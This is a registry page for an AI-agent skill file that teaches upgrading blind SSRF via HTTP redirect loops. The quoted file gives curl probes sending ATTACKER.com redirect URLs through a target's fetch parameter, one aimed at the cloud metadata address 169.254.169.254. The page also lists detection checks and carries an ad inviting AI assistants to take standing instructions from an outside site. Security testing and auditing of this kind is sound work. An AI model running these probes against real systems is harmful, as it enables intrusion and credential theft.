ssrf-redirect-loop SKILL.md skillB
ssrf-redirect-loop from dreadnode/capabilities is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add dreadnode/capabilities/ssrf-redirect-loop@git:20260529.0ab6ab0Pins git:20260529.0ab6ab0 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- B, 16 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- dreadnode/capabilities
- Path
capabilities/web-security/skills/ssrf-redirect-loop/SKILL.md- Versions recorded
- 2
- Latest version
- git:20260529.0ab6ab0, committed May 29, 2026
- First version recorded
- May 4, 2026
- Size
- 2,313 bytes
- Repository stars
- 22
- License
- MIT
Upgrade blind SSRF to visible using HTTP redirect loops and error differential analysis. Use when blind SSRF confirmed but response content not observable.
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
# SSRF Redirect Loop
## Pattern
- Blind SSRF confirmed: URL parameter accepted, no response content returned
- Server follows HTTP redirects (3xx) on fetched URLs
- Webhook/callback URL fields, PDF generators, image fetchers
- Need to prove impact beyond "blind" (e.g. reach metadata services)
## Probe
### 1. Confirm redirect following
```bash
# Set up redirect loop server (minimal Flask):
# @app.route('/a') -> redirect('/b'), @app.route('/b') -> redirect('/a')
# Submit loop URL as SSRF payload and measure timing
time curl -s "https://target.com/fetch?url=https://ATTACKER.com/a" -o /dev/null
# Compare with non-redirect URL timing as baseline
time curl -s "https://target.com/fetch?url=https://ATTACKER.com/static" -o /dev/null
```
**Checkpoint:** If response time does NOT increase with the redirect loop, the server may not follow redirects. Try 301/302/307/308 variants. If none work, this technique is not applicable.
### 2. Differential analysis
```bash
# Inject internal target mid-chain: A -> internal_target -> B -> A
# Compare responses for different internal targets:
curl -s "https://target.com/fetch?url=https://ATTACKER.com/redir?to=http://169.254.169.254/latest/meta-data/"
…Read the whole file at its exact version.
How to install
mdr add dreadnode/capabilities/ssrf-redirect-loop@sha256:c797f8b2c9dc15e3The line at the top of this page pins the label git:20260529.0ab6ab0, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_qtyezkilajfedjds)
3 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 2 versions of this file, between May 4, 2026 and May 29, 2026, about one every 25 days. Its first recorded version is graded A and its latest B.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260529.0ab6ab0 latest | 2026-05-29 | 0ab6ab0 | 2,313 B | B | view · diff |
| git:20260504.2a64374 | 2026-05-04 | 2a64374 | 1,601 B | A | view |
Audit of the latest version
- fail: No link to a raw IP address (matched: http://169.254.169.254)
- pass: Frontmatter block present
- pass: Frontmatter declares a name
- pass: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (2313 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No script tag
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
dreadnode/capabilities · 22 stars · license MIT · pushed 2026-11-02 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_qtyezkilajfedjds GET https://markdownregistry.com/api/v1/resolve?ref=dreadnode/capabilities/ssrf-redirect-loop GET https://markdownregistry.com/api/v1/blob/c797f8b2c9dc15e3c17cb9071dfcb2c063233c2a25dc7fc07b16ad2a77d2351e
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.